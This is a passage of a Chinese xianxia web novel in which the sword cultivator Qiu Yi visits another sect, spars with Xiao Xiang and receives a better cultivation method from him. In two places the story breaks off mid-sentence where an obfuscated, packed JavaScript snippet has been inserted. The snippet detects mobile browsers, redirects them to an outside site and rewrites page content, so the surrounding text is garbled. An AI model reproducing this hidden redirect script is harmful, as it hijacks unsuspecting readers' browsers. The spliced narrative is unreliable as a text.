“哪都行啊,修仙界辽阔无垠,你本事又大,想去哪里就去哪里。”罗万劫耸耸肩,想让自己紧绷的脊背放松下来。她今日来找裘弈,已经做好了如果撕开表象裘弈就会离开宗门的准备。 但做好了准备,不代表她不紧张。罗万劫苦笑道:“我真是怕你一走就不回来了。你心里有什么事,从不同我讲。” “……”裘弈沉默片刻,心虚似的低声道,“师姐,吾一直待在落樱顶,其实是怕万一哪天出门,回来时得知宗门把吾扔了,不让吾进山门。” 罗万劫感觉有点不对劲,她转头直勾勾地看向裘弈,诧异道:“你为什么会这么认为?” “吾除了练剑什么都不会,不会指点门中徒子,也从来不处理宗门事务。将吾捡回来的师父仙逝后,吾就没什么借口留在上清宗了,旁人对吾有异议,吾可以将他们打服,但若是身为宗主的师姐要将吾赶出去,吾……总不能打师姐,只能离开。” 裘弈的声音更低了,他垂眸看向自己掌心中的一片樱花瓣,说道:“吾不想走。” 罗万劫目瞪口呆地看着裘弈。 “师姐这是何神情?” “……你第一次对我说这么一长串话。”罗万劫怔愣过后,狠狠地松了一口气。 原来她所担心的事,也是对方所反向担心的事。 明明说清楚了便没有什么事,却因为怕知道对方的真实想法而拖了几百年才知晓对方的担忧,谁都不肯先捅破那层窗户纸。如今想想,真是又无奈又好笑。 师姐弟静静地在樱花树下坐了一会儿,罗万劫先开口打破沉寂。 “裘弈,修仙界虽然普遍慕强,但单纯地强而不受人敬仰的存在,那都是些邪修。”把话说开,罗万劫彻底放松下来,她向后靠在樱花树上,抱臂说道,“你得让宗门里的大部分人都认可你这位长老呀,不然等到需要你领导宗门时,你怎么能让徒子都真心追随你、拥护你呢?” 裘弈:“吾可以打服……” 罗万劫面无表情地说道:“以后你但凡再碰上困难就立马用武力解决,我就先解决你。” 裘弈沉默片刻,脑子里硬是通了一根筋,他难得懂事地向罗万劫询问道:“那吾该如何做呢?” “如今的修仙界,要论起最受其门人爱戴的高修者,当属太清宗幽明长老。”罗万劫用力拍拍裘弈的肩膀,语重心长道,“你们都是冰灵根剑修,应当有许多共同话题。师姐这就向太清宗掌门传一道符信,为你求一个去太清宗向幽明学习如何受门人爱戴的机会。” 听到“幽明”二字,裘弈神色微微一顿。 有点熟悉的道号,是谁来着? 裘弈正在回想这熟悉感从何而来,一名小婧子突然御符飞来,大声打断了他的思绪—— “宗主宗主!山门外有位一身黑的化神期修士,说自己是太清宗萧湘,今日登门拜访,要赠行神长老一枝新雪!” 罗万劫再次诧异地看向自家师弟,问道:“你同幽明相识?” 裘弈有些茫然地回视自家师姐,他还没想起来“幽明”是谁。 两人飞至山门。还未落地,裘弈便看见一片花红柳绿中立着一道突兀的黑。 对方察觉到了有高修者接近所带来的威压,抬眸向他看来,两人对望的一瞬间,裘弈想起来了。 这是他想要深交的那位道长,名唤萧湘。 萧湘率先向上清宗宗主罗万劫颔首见礼,再转而看向裘弈。 裘弈以为萧湘也要向他见礼,于是向萧湘微微倾身。两人离得并不远,他一倾身,头便凑到了萧湘跟前。 额上还未被灵力修复的剐蹭因为裘弈肤白的原因而格外醒目,裘弈只觉得额上被什么柔软的事物轻轻扫过,那一直若有似无的刺痛便消失无踪了。 他抬眼,见那位黑衣道长神色淡淡地收回拂尘,将怀中带雪的花枝递送给他。 虽然不知道为什么,但裘弈还是将花枝接了过来,并道了声谢。 这一幕落在一旁的罗万劫和上清宗其他徒子眼中可不得了,这俩冰灵根剑修怎么举止亲昵,还送上花了呢? 罗万劫不可置信地揉揉自己的眼睛,她逮住身后的一个小婧子,低声问:“本宗主没眼花吧?刚刚行神向幽明展示额头受伤了的动作和撒娇有什么区别?” 小婧子愣愣地点头:“晚辈也瞧见了,幽明道长还给行神长老送花。” 在修仙界,修士们都专注于修行,很少有谁会花心思给别人送花,毕竟花对修行无甚助益。送花这种行为在朋友之间极为少见,一般只有年纪小的弟子向婧子示爱时会做这种事。 冰灵根本就冷性,剑修又普遍地不知浪漫为何物,萧湘和裘弈集两者之大乘,能做出撒娇赠花的一番行为来实在是令修士感到匪夷所思,让修士们不得不怀疑……这两人之间有些什么隐秘的关系。 裘弈一手抱着花枝,一手摸了摸自己完好如初的额头。 这种小伤,他从未理会过,经脉中流转的灵力会自动帮他修复好,以前也没有旁人多事为他治疗,因为知道他实力强,这点小伤对他造不成什么影响。 但萧湘偏偏就与众不同地为他治疗了这点小伤,仿佛这是一件理所当然的事。 纵使因为灵根的缘故而冷性,裘弈也不得不承认,他的因此对萧湘的感觉很好。 梅花……也很香。 4. 矛隼追鸦 太清宗宗主段衍将飞来的符信展开,平日里扫上一眼便清楚符信的内容所述,但今日,他将那张符信翻来覆去地一看再看,才确定自己真的没有眼花。 符信上的内容为:行神已被幽明带往太清宗,若有无心冒犯之处,还望段宗主海涵。 落款是上清宗宗主——罗万劫。 “不是,等等?”段衍在心中默念三遍清心咒,不信邪地将那张符信再次展开来看,“‘行神已被幽明带往太清宗’——幽明是萧湘,这我知道,行神是谁?” 他细思片刻,终于想起某位修仙界百年“不下仙门”的冰灵根剑修——上清宗裘弈。 啊~原来是裘弈。 ——不对,裘弈跟他家香香有什么关系?为什么是香香去把裘弈给带到太清宗来? 段宗主一生精明,难得有茫然的时候。他一脸茫然地掏出一张空白的符纸,正要去信向罗万劫问清楚,忽然感知到一道熟悉的灵威正在飞速靠近宗门的议事大殿——也就是他如今在的地方。 那道灵威他可太熟悉了,毕竟和对方朝夕相处了八百年。除了那道熟悉的灵威外,接近议事殿的还另有一道陌生灵威,未及议事殿,便先将滔天寒意传了过来。 想来这便是那名“行神”道君的灵威了。 段衍收起还未题字的符纸,转身看向大门,正好瞧见萧湘下剑进门,逐星飞回剑鞘,缀在剑柄末端的浅灰色流苏在萧湘肩头前后晃动,平白地为那个八百岁老古董添上一分奇异的俏皮。 人影入目,梅花香也随之入鼻。段衍深呼吸一口,凝神看向跟在萧湘后面进门的那名剑修。 对方的一头白发被高高地束在脑后,鬓边留两缕垂于胸前,光看颜色,几乎要与一身白衣融为一体,通身气势如雪如霜,灰眸中无情无性,瞧着像个假人,背后也是背着一把剑,剑身剑鞘一片雪白。 段衍莫名觉得此人与萧湘十分般配,剑相配,人也相配,一黑一白,锋锐霜寒,如阴阳两端,又浑然如一体。 他将一手背在背后,掐算此人与萧湘是否有姻缘——老毛病犯了,无论如何先算算此人与自家师弟是否有红线牵连。 还不等段衍算出个所以然来,他的双眼先一步落在了白发人怀中的梅花枝上——这梅花枝可太眼熟了,段衍敢保证全修仙界再没有哪处的梅花能长成这个模样,这枝梅花只可能来自红梅落雪,并且才被折下来不久,花枝上的灵气尚未散尽。 段衍脑子里又冒出符信那一句:行神已被幽明带往太清宗。 这句话是什么意思?如果是两宗有心交流,两宗宗主会先一步互相传信,确定流程。但按照上清宗宗主传信来与萧湘带着裘弈来议事殿的时间距离来看,萧湘早在两宗宗主还未传信时,便主动去上清宗接走了裘弈。 且那枝红梅一定是萧湘事先折下带去了上清宗,赠予裘弈,不然说不通裘弈怀里为什么会抱着平日里萧湘宝贝的不得了的红梅,若是萧湘将人带回太清宗,这红梅便无需再折,直接去红梅落雪赏梅就行。 段衍在心中推理一番,月老脑发作,直接得出一个结论:他师弟开窍了。 都会送花追人了,还知道带回来给他见见,真好啊。 萧湘并不知晓自家师兄的脑内活动,他向段衍行了一礼,再侧身让出身后的裘弈,向段衍介绍道:“宗主,这位是上清宗的行神道君裘弈,奉上清宗宗主之命,来我宗交流修行之宜。” 若论辈分,在场三人都算同辈,对于同阶高修者的基本尊敬要有,就算段衍是宗主也不例外。他右手做剑诀竖于身前,向裘弈致意。 裘弈回以同礼。 “行神道君在我宗的这段时日就暂歇在红梅落雪吧,那里山高气冷,灵气充裕,对道君这等境界的冰灵根修士之修行大有裨益。”段衍连忙以宗主的身份安排道,“不必拘束,道君在太清宗有何疑惑,都可问香——问萧湘!” “叨扰了。” 裘弈向太清宗宗主颔首示意,神色淡淡,若非两人的外貌实在大相径庭,段衍都要怀疑这裘弈与自家宗门的萧湘是同胞兄弟。 其他灵根的修行者都各有各的性格,外化特征成百上千,唯有冰灵根修士都冷的如出一辙,叫人难生攀谈之意。 ——段衍喜欢抓着萧湘聊天的事不算,师兄弟之间总是要比旁的关系要亲近些。 …… 说起来不怕人笑话,这还是裘弈八百年来,第一次踏入其他“正道”宗门的地界。 过去,他每每出山门,不是奔着找人去的,便是奔着除魔去的,屠过的魔宗数以百计,杀过的魔修魔物更有千万。魔修送他外号“雪阎罗”,因他剑气外泄时总会散出飞雪,雪落时定有血落,遥送众魔入黄泉。 行神道君不下仙门,若是反常地下了仙门,他的落脚之处,往往就是他要掀起滔天杀业的修罗场。 但太清宗的红梅落雪,是个例外。 寒风裹雪,挟着几瓣红梅入堂,室内并未焚香,却溢香满堂,吐纳间濯神清心,令人安定。 雪睫结霜,难分难解,裘弈抬手,拂去自己眉睫上的霜雪,这才得以睁开双眼。 首先入目的,是门口探进屋内的一枝红梅。 随后感知到的,是自己背后熟悉的寒冷。 裘弈回头,看向自己背后冻结成一棵冰树的外泄灵力:“……” 坐在他左手边五尺之外的萧湘也脱离了吐纳调息的状态,似有所感地看向他的身后:“……” 裘弈低声道:“对不住。” “无妨。”萧湘一挥拂尘,那棵冰树便碎作细雪,未及落地,被一道寒风吹去了屋外,同一地积雪混为一体。 两人无言地起身,萧湘照常将逐星招来,要练晨剑,墨剑入手,想起自己如今有了一位“练剑搭子”,于是看向身边的裘弈,眼中略带询问。 裘弈颔首,打响指招来摧雪。 太清宗所有还在假寐吐纳中的徒子皆被两道震荡的灵威给震醒,个个茫然地出门看情况。 “怎么回事怎么回事?魔修打上山门了?” “我瞅着这也不是魔威啊。” 一群好奇心重的小徒子们见这两道灵威只是向外传播,震人心神,并未有伤人之意,便满山遍野地找寻这灵威的源头,想要一探究竟。修道者多少都有点不怕死的探索精神在身上,遇到高修者比拼,只要不殃及自身,便总要驻足观看,学习高修者招式中的精妙之处。 ……这也是为什么修仙界里吃瓜群众有那么多的原因。两个修士能够打起来,不是友好交流,就是有什么陈年恩怨,打架过程中嘴快泄露出的一点信息就能让旁边观战的一众修士想入非非,开始脑补打架的两人有何种恨海情天。 不过这次打架的两人没有恨海,亦没有情天,太清宗的一众小徒子们缩在草木后旁观两位化神期修士切磋,差点让周边外泄的寒冷灵力给冻起来。 萧湘察觉到有许多徒子聚集到了周围,便逐渐放缓出剑的速度,引导裘弈的剑势与寒意都向自己劈来,以防裘弈伤到周边旁观的太清宗徒子。 围观剑术精妙者切磋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560576|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机会太难得,前些时日的试剑大会上,萧湘和裘弈的切磋在小辈眼中结束得太快,高修者你来我往的见招拆招,落到小辈眼中可能只是一瞬间的击剑。 恰好上清宗用剑第一人今日在此,萧湘做惯了师长,切磋时也留意给徒子们展示两人行剑的要诀。 裘弈察觉到萧湘的意图,也放缓剑势,但他八百年来少与人切磋,一旦出手,不是求胜,便要是夺谁的性命,此刻留意帮萧湘给小辈们展示剑招,出剑角度怎么都有些别扭。 “道君不必特意配合本座的节奏,像往常一样出剑便可。”萧湘见裘弈的出剑方式变得怪异,欲击非击,便斩开向自己飞掠来的一道寒冰剑意,往裘弈鬓边的垂发处刺去,引裘弈像先前那样出手。 “吾来太清求学,非是单纯为了求剑。”裘弈偏头避开萧湘的锋芒,留手三分,“还要向道长学习如何教授宗内徒子。” “上清宗内无师可用么?”萧湘问。 他这话说出口,就是单纯地有些好奇,没有讥讽之意。“掌教”在一个修仙界内享有盛名的大宗门中是不可或缺的职位,裘弈若是要学如何为人师长,直接向上清宗内的掌教学习便可,为何要费劲来一趟太清宗? “有,但做不了吾之师。”裘弈话音顿了顿,视线扫过周遭躲在树后探头的太清宗徒子,改为传音给萧湘,“师姐让吾来向道长学习如何受门人敬仰。” 萧湘也用传音向裘弈说道:“要让道君失望了,本座也不知该如何受门人敬仰。” “……”裘弈在错开剑锋之余,用神识飞快地扫了一圈周边聚集的太清宗徒子,在心中估算了一下数量,有七百人之多。 太清宗内好学之风兴盛,萧湘的独居之处未设任何结界,也不会被徒子们打扰,每当练剑时,想要观摩学习的徒子自会来红梅落雪观剑,都静悄悄的,不打扰幽明长老,长老也会留意爱护本宗徒子。 这种情况,根本不可能出现在上清宗。 上清宗里姑娘多,法修多,剑修少,徒子们无论辈分大小,都喜欢往落樱顶上跑,偏生裘弈练剑时一旦入迷就开始敌我不分,时常误伤到前来凑热闹的上清宗小徒子,落了门内其他长老的口舌,又被扣上忌忮后辈的黑锅。这种事情多了,裘弈便将落樱顶封锁,不允许任何门内徒子来打扰他练剑,也不允许自己的剑气再伤到任何一个同门。 落樱顶一封,就是五百多年。裘弈一直认为冰灵根剑修天生得孤身一人,不可能与人群和平共处。 但如今他不这么认为了。萧湘与他同样是冰灵根剑修,却能与宗门里的徒子安定相处,冰灵根带给修士的疏离感和冷淡并没有使小徒子们疏远这位剑修长老,徒子面对萧湘,甚至要比面对其他长老更亲近些。 裘弈心想,好像每回他见萧湘,总是能看见这位渡鸦一般的道长被一群小鹤徒子给拥簇在中间。 试剑大会上是,现在也是。 “道君?”萧湘见裘弈有些走神,收剑停攻,“若是乏了,今日便先到这里。近来轮到本座去给众徒子上早课,失陪半日,道君请自便。” 裘弈回神,“抱歉,走神了。道长若有要事便先行去做,不必在意吾。” 周围的徒子们一听要上早课,都十分自觉地散开去准备。两名大龄剑修向对方微微倾身作礼,礼毕,萧湘转头便走。 裘弈将摧雪收回剑鞘,抬步跟上萧湘。 于是太清宗的众徒子们发现,他们亲爱的幽明长老身后跟上了一只新鸟,此鸟一身白羽,气势凶极狠极,也是个冰灵根剑修。 5. 心法传承 太清宗早课是宗内高修者轮流给徒子们传授修行心得的集会活动,有专门的大殿高堂来作为讲课场所,高堂上有高修者肃立,堂下众弟子坐于蒲团之上,行列分明,整齐肃静。 裘弈原先在上清宗可没见过这架势,他们那边随处可讲经说法,没有专门用于讲课的场地,更没有如此严肃的授课气氛。 他跟随萧湘进入大殿,不好再跟着萧湘走上高堂,便抱剑立于堂下一侧,观察殿中众徒子,以及立于堂上讲课的萧湘。 上清宗并无多少剑修修行的法门,裘弈当年被他师父捡回宗门,拜师后只学了上清心法,剑法靠自己去宗门中的藏书阁翻阅各种剑谱杂练而成,习得百家之长,却多是野路子。 后来裘弈对剑道有了自己的见解,实战经验也累积足够,便自创一套行神剑法,招无虚招,势无虚势,通过不断的实战将剑法练至绝境,最终名扬修仙界,被冠以“剑仙”之号,成为典型的“别宗门的徒子”。 这么一听,是不是觉得成为名扬天下的剑修十分容易? 非也非也。多少剑修倾尽一生都难参悟自己的剑道,更别说创制剑法、将自创的剑法练至绝境。裘弈曾在上清宗的藏书阁中读过许多创制到一半便被遗弃的剑谱,创制剑法的剑修不是因故陨落,便是对剑道的理解出现了阻碍,无法继续精进,便弃了剑,去走别的修行之道。 大道三千,道道都比剑道易,可只有剑道中成仙者多。想要修道,单靠努力是没用的,还得靠气运、靠天赋。 行神道君这辈子的大气运都用到“被师父救命”和“意外获得仙剑摧雪”上了,之后所获种种成就,全凭自身的天赋与刻苦。 裘弈的学习环境并不优越,上清宗对剑道不重视,他想要在那样的环境下习剑,总是更艰苦些。 再一次于红梅小筑中打坐时,裘弈问萧湘:“道长,你入道之初,为何选择学剑?” 萧湘沉默了片刻,低声问:“道君要听真话,还是假话?” 裘弈:“先听假话。” 萧湘:“为了追求极致的剑道,为了成为剑仙,为了传承师父的衣钵。” 裘弈问:“那真话呢?” 萧湘坦诚道:“别的都学不会,只会用剑。” 裘弈唇角微扬,眼中闪过一丝笑意,不过很快便被经年维持的淡然神态给掩盖过去,连他自己都没意识到。 门外响起花枝落地的细碎声响,回荡在寂静的小筑中。可能是受“礼尚往来”的观念驱使,萧湘觉得这个话题不能就这么冷下去,对方问了他,他应当也问一下对方。 于是他问:“那道君呢?” 裘弈答道:“同道长一样。” 因为别的都不会,所以只能练剑了。 裘弈又问:“道长为何入仙门?” 他问完后沉默了,心道自己真是没话找话,能入仙门谁不入?长生久视是多少人的可望而不可及啊。 谁知萧湘竟给出了一个让裘弈有些意外的回答: “本座要寻一个人。”萧湘垂下眼,“当年以为入仙门后便能无所不知,能够知道那人在何处。” “如今找到了吗?”裘弈追问。 “未曾。”萧湘摇摇头,“遍寻不见。对方是凡人,怕是已经……” 他不再说话了,垂眸看着自己手背上的一点碎雪。这点雪若是落在常人身上,这会儿已经化作了水,但萧湘不是常人,没有常人应有的温度,甚至有时人比雪还冷。 小筑内的气氛又沉寂下来,裘弈食指微动,用灵力将萧湘手背上的细雪拂去,岔开话题似的问道:“要论剑么?” “可。”萧湘召来逐星,持剑起身。 但另一边提出论剑的裘弈连打三次响指,都没将摧雪给召到手上。白发道君奇怪地转头,看向自己身后的置剑台。 摧雪被横放在置剑台的架子上,一动不动,至于为什么一动不动……裘弈抬手,将自己灵气外泄结成的冰都给化掉,解冻的摧雪这才骂骂咧咧地从架子上起身。 清晨时裘弈的灵力外泄还能说是调息入定没有注意,但方才两人都清醒着,裘弈却不知自己的灵力正在悄然外泄。 萧湘也没注意到,裘弈的冰灵根外泄灵气与红梅落雪的冰魄灵气混为一体,若不是提起了十二分的警惕心,难以察觉到这灵气较往日有什么不同。 到底是当师长的人,看得懂这是出了什么问题。萧湘瞥向裘弈的小腹,问:“道君本源不稳?” “稳。” “那是灵盛难抑?” “吾自身灵气并不充裕,与人论生死时总要吸尽周遭的灵气才能施法。” “可否让本座一探?” “……”裘弈略做迟疑,将才拿起来的摧雪又放回置剑台,两步走到萧湘面前站定。 萧湘的意思是要检查他的丹田,即人体中的灵力之源。这个地方对于修士来说几乎是个命门,重要程度不及脑袋,但如果丹田出了问题,修士便不能顺利修行,严重者可能直接死亡。修为越高者,越不允许他人窥探自己的丹田,高阶修士之间也不会提出“看看丹田”这种堪称无礼的要求。 但萧湘当师长当惯了,平常看见小辈身上出了问题,会主动向小辈询问是否需要帮助,小辈们也信任门中长老,萧湘平日在小孩堆里如此行事,面对同阶者,一时不能反应过来。 话落后,见裘弈还真允许他检查丹田,萧湘心中略有些惊讶,但并未多言解释什么。他将拂尘搭在左臂弯里,右手掌隔着半指的距离横放在裘弈的小腹前,将自己的一道灵力送入裘弈腹中,令其直奔丹田。 东洲人类修士修行程度共有十阶,由低到高分别是:锻体,炼气,筑基,金丹,元婴,化神,洞虚,合体,大乘,渡劫。筑基就是用练好的灵气构建起牢固的丹田,做修行之根基;金丹则是将精炼的灵气凝结成丹,存于丹田之内;元婴是金丹化作修士本身的复制幼体,令修士从此修行事半功倍,还能多一条命。 而化神,是丹田中的元婴已经成长到与修士本人极为相近,且继承了主人一定的意识,能够在一些特定情况下脱离主体自由行动,比如主体死亡时。 萧湘的灵力一进裘弈的丹田,就遇到了裘弈的元婴。白发灰眸的小人遍体结霜,在察觉到陌生灵力时抬眸看来,一柄霜剑在它手中凝结,丹田内温度骤降,几乎要将萧湘的灵力给冻起来。 “道君想冻死它么?”萧湘抬眸看向身前的裘弈,眼中略带谴责。 裘弈有些不明所以地内视自己的丹田,“它一直这样。” “……” “道长为何一言不发?” “道君……”萧湘撤出自己的灵力,后退一步,直视裘弈的双眼,淡声问道,“修炼的是什么心法?” 裘弈答道:“上清宗的通用心法。” “一般来讲,每个宗门的通用心法都是入门心法,适合低阶修士使用,对高阶修士来说就有些不够用了。在修为达到金丹期时,修士就应该为自己寻一门适合自己的新心法。” 萧湘抬手捋了捋流光,视线却未从裘弈的脸上移开,他询问道:“道君是将一套入门心法用了八百年么?” 裘弈恍然大悟,“原来心法需要更换,吾还以为随便练一套便可。” 萧湘:“……” 怪不得上清宗要将此人送到太清宗来交流学习。 幽明道长轻叹一声,摩挲了一下左手拇指上的墨玉扳指。这是个储物的法器,他从中取出一支玉简,向裘弈递去,“这是适合冰灵根高阶修士修炼的一套心法,本座从五百年前初开的乾皇秘境中所得,道君可来一观。” 乾皇秘境裘弈知道,当年他也进去走了一遭,不过打了一路的架,一点有用的东西都没拿到,也没遇到什么特殊的机缘。 秘境中机缘无数,放条狗进去出来都能成精了,裘弈当年进去能一无所获,也是某种实力强悍的证明——运气差的实力强悍。 “都赖你。”当年的裘弈怀抱摧雪剑,站在秘境的出口等同宗门的徒子先出去。 他面无表情地对怀中的摧雪说:“吾的气运全都拿来遇见你了。” 摧雪:你有我,就不需要旁物辅佐修行。 事实证明,裘弈是纯天赋型修士,无论修炼的功法有多么不合适,无论修炼的路子有多么邪门,他最终都能成就剑道,更遑论有着摧雪这等上古仙剑作为本命法器。 萧湘为师长,见过无数努力修行的年轻后生,其中不乏有天赋卓绝的天才,但那些天才想要展现出他们天才的地方,需要走在正确的修行道路上,需要合适的修炼功法。 迄今为止,他所见过的,能够在修炼道路与功法都一塌糊涂的情况下习得绝顶剑道的人,只有裘弈一人。 天赋卓绝,不外如是。 “原来心法是用来保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560577|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护丹田、运转灵力的,怪不得吾总是觉得灵力不够用,原来是心法品阶过低。” “这是修士入门常识。” “吾的师父平日忙,都让吾自行去宗内的藏书阁翻书学习。” “也太乱来了,上清宗不管你么?旁的先不论,冰灵根是不可多得的资质上佳者,宗门不应当会置你于不顾。” 裘弈不自在地目移,几息后又将视线转回了萧湘脸上。 “吾师……与宗中其他长辈的关系并不好。”他低声道,“只有师父会管吾,其他人,不便插手。” “……”萧湘没有打探其他宗门秘辛的癖好,他道,“现在学还不晚,本座教你。” 裘弈确认萧湘的神色不是在开玩笑后,缓缓俯身,双膝跪地。 萧湘:“这是作甚?” 裘弈:“拜师。” 萧湘:“不必,只算是同道间交流学习罢了。” 于是裘弈又站了起来。 “这是你从秘境中寻得的机缘,给吾修行,可以么?”裘弈拿着玉简问。 “本座确定此心法可修行后,便让宗内拓书徒子拓了上百份置于藏书阁内,供后辈学习。”萧湘解释道,“这不是太清宗的独创秘术,可以传予他宗之人。” 裘弈闻言,视线落在白玉玉简中央的那道鹤红上。 幽明道长的额中也有一道鹤红,修士皮肤上的许多符文咒印都有各自的讲究,不是单纯为了好看而画上去的。最初一照面,裘弈便从萧湘额中的那道鹤红里感受到了细微愿力,当时并未过多在意。 可如今,他不得不在意了。裘弈将玉简上的那道鹤红贴在自己额前,仿佛看见一个较为年轻些的幽明道长正同自己额头相抵。 玉简中并未有任何文字,俱是人言,看来这套心法因为某种禁制而不能通过文字来记载,又或是心法文字在萧湘修成的刹那间自行销毁,萧湘想要复刻这套心法的内容,又恐文字不能将其中奥妙一一道尽,便亲自说法,将心法讲解与自身的演示都记录在传功玉简中。 这套心法,全由三百岁时的萧湘通过话语传达给他。三百岁时的萧湘同现在没有太大的区别,声音低沉而淡漠,给人讲授心法时的神色无波无澜,像那些修炼无情道修至走火入魔的修士。 可真正无情的人不会有心将这套心法细细记述,更不会将这套可助高阶者修行的心法传给才认识的陌生人。许多人在秘境中获得了修行机缘,便恨不能全天下只有自己知晓那种修行的办法,藏着掖着,有性情极端者,就算是毁了那机缘也不让其落在旁人手里。 裘弈个人觉得那些独占修行之法的人没有什么错,毕竟那些人没有义务将自己历经千难万险获得的宝贝分享出来。他如今依旧认为那些独占的人没错,但他受萧湘之惠,难免会更加喜欢将修行之法传给需要之人的那些人。 ——比如萧湘。 裘弈想,他好像有点明白了,为什么萧湘受太清宗全宗敬重,而他在上清宗的待遇却恰恰相反。 无私者最令人动容。他从不教导上清宗徒子,这在上清宗的众修士眼中,是不是和那些将修行之法藏着掖着的人一样? 只不过比起那些人来,他要更自私一些,虽然宗门对他的教导并无多少,但确确实实地是养育了他,他这些年来花费的灵石和灵药又不是大风刮来的,可八百年过去了,他并未用实际行动回报过自己的宗门。 一点也没有。外出屠魔纯粹是为了练习自己的剑法,让自己对于剑道的理解更加精进;顺手救助路边受伤的上清宗徒子是因为对方向他求救了,总不能置之不理。 他将自己往落樱顶上一关,不去思考宗门的发展,也不在乎众徒子修行如何,被奉为宗内长老,却从不实行长老之职。 他只在乎他自己。 因此惹得大家都讨厌。 “行神,净心。” 现实中萧湘的声音徒然打断了他的思绪。裘弈抬眸,看向对面的黑衣道长,眼中略带疑惑。 “你与玉简共识时不要胡思乱想,本座能够窥探到你的思绪。”萧湘解释道。 “……”裘弈用灵力让自己的心绪平息下来,阖眼定神。 片刻后,他在脑海中想道:“多谢。” 萧湘在裘弈对面的蒲团上闭目打坐,感受到这一条指向性明确的感谢,他依旧闭着眼,神态没有半分改变。 “不谢。” 6. 千机卧云 究竟该如何将自己经年所学的知识教授给徒子们? 裘弈在太清宗观察了几日萧湘的做法,发现自己并不能一比一复刻出萧湘的行为,因为他这八百年来,在某种程度上,根本没学什么东西。 “将逐星当做徒子。”萧湘将带鞘的逐星放在两人的蒲团之间,向裘弈示意道,“给它讲讲你的修行之道。” “多打架。”裘弈一本正经地对逐星说道,“典籍上的剑术只是些花拳绣腿,真正的剑术应从战斗中习得。” 一旁的摧雪附和似的晃了晃剑身。 萧湘却不认同:“典籍上的剑术并非是花拳绣腿,本座凭典籍记载的剑术才修炼到如今的境界。” “那是你天赋异禀。”裘弈道。 “只靠战斗就能悟出剑道,你的天赋也非同一般。”萧湘道。 两人都没有意识到,他们对彼此的称呼逐渐从尊称转变为“你”。 裘弈:“多谢。” 萧湘:“本座并非是在夸你。” 裘弈:“哦。” 沉默在两人之间蔓延。 萧湘打破沉寂,淡声问:“没有别的了?” 裘弈缓缓摇头。 “多数徒子阅历不高,概括性的话语对他们来说难以理解,需将要点掰碎了同他们讲。”萧湘缓声指导,“选择怎样的对战才有意义,对战中有何需要在意之处,若是落了下风察觉自己不敌后该如何应对……这些你都要同他们讲清楚。” 裘弈:“每个人遇到的情况皆不相同,随机应变即可。” 萧湘:“不可。” “有何不可?” “你的经验多,多向徒子们说些例子,他们心中有底,日后遇上相应的事件便能有更好的应对办法,也能少受些伤,多些活下来的机会。” “若连如何应变都要他人教授才会去做,何必修剑?” “行神。” 裘弈住嘴。 “以战习剑并无不可,但既然有前人已经试验出可避免受伤的办法,为何要让后辈重蹈覆辙?”萧湘问道。 “……”裘弈屈指一弹摧雪剑身,低声道,“自己试验出的应对之法,总要比旁人教授的更加适用。” “那若是在试验中途不幸殒命呢?”萧湘又问。 裘弈无感情地答道:“那便是自己技不如人。” “……”萧湘也不知该怎么和裘弈掰扯清楚“是否该教徒子如何应变”这件事了。 沉默又在两人之间蔓延。 这次率先打破沉寂的是裘弈,他看向萧湘,问道:“道长为何一言不发?” “……无言以对。”萧湘沉吟片刻,对裘弈说道,“你随本座去玄清宗见一个人。” 玄清宗与上清宗、太清宗并称为修仙界“三清”,其宗主为当世剑仙之一顾犹在。不过萧湘带裘弈来玄清宗,并非是来寻顾犹在。 他带着裘弈直奔玄清宗的“千机卧云”——那是一片悬浮于山头的云海,云海中设阵无数,常人进去,若非有阵主引导,便难以从中走出。 “千机卧云”为玄清宗大长老邓君回的住所。两人落于云海,萧湘转身,用拂尘在自己身前挥起一泼云雾,云雾落下时,人已消失在原地。 裘弈外放神识,在周围寻找萧湘的身影,但一无所获。千机卧云的云雾不是凡物,他的神识进去飞不到头,也找不到人。 千机卧云的某一处,萧湘从云雾之中踏出,见身前有一张矮脚小木几,木几左侧坐着一名神态冷峻的黑衣仙长,正用法力操纵着茶壶倒上两杯茶。 那名仙长将其中一杯茶推到木几右侧,向萧湘示意道:“请。” 萧湘坐到木几右侧,道了声谢。 在修仙界,你如果看见有个人面上惯常地没有什么表情,周身散发着生人勿近的气息,但这种气息又不是魔修那种令人胆颤的戾气,那此人多半是个冰灵根修士。 那名沏茶的仙长,也是个冰灵根修士。 玄清宗孤鸿长老邓君回擅奇门布阵之术,世无其二,这千机卧云便是邓君回布阵术的大乘之作,云雾之中设阵万千,邓君回可自行选择展现何种阵法。 孤鸿长老待幽明落座,开口问道:“弄啥?” 声音冷冷清清,听着毫无情绪,口音里带着这片地区特有的乡土气息。萧湘曾经来玄清宗待过一段时间,识得这种口音,两人是多年好友,老友相见,不会像平时那样端着东洲官话。 “上清宗的行神道君,他认为徒子只用从战斗中吸取经验,不需师长教授遇险时的应对之法。”萧湘左手持拂尘,右手端起茶杯,那热茶在他指尖触杯的瞬间便冷却下来,成了杯凉茶,“若不是孤鸿同湘讲授过千机卧云的破解之法,湘如今还在这卧云之中寻不到出路。孤鸿让行神也试试那种感觉罢。” 他话落,浅尝一口凉茶,赞道:“清苦绝韵,好味。” “自然是好味。”邓君回瞥一眼裘弈所在的方向,让那一处的各类阵法依次运转,便专心和身边的萧湘闲话,“是人还从凡间带回来的茶叶,听说叫作‘春尘’。” 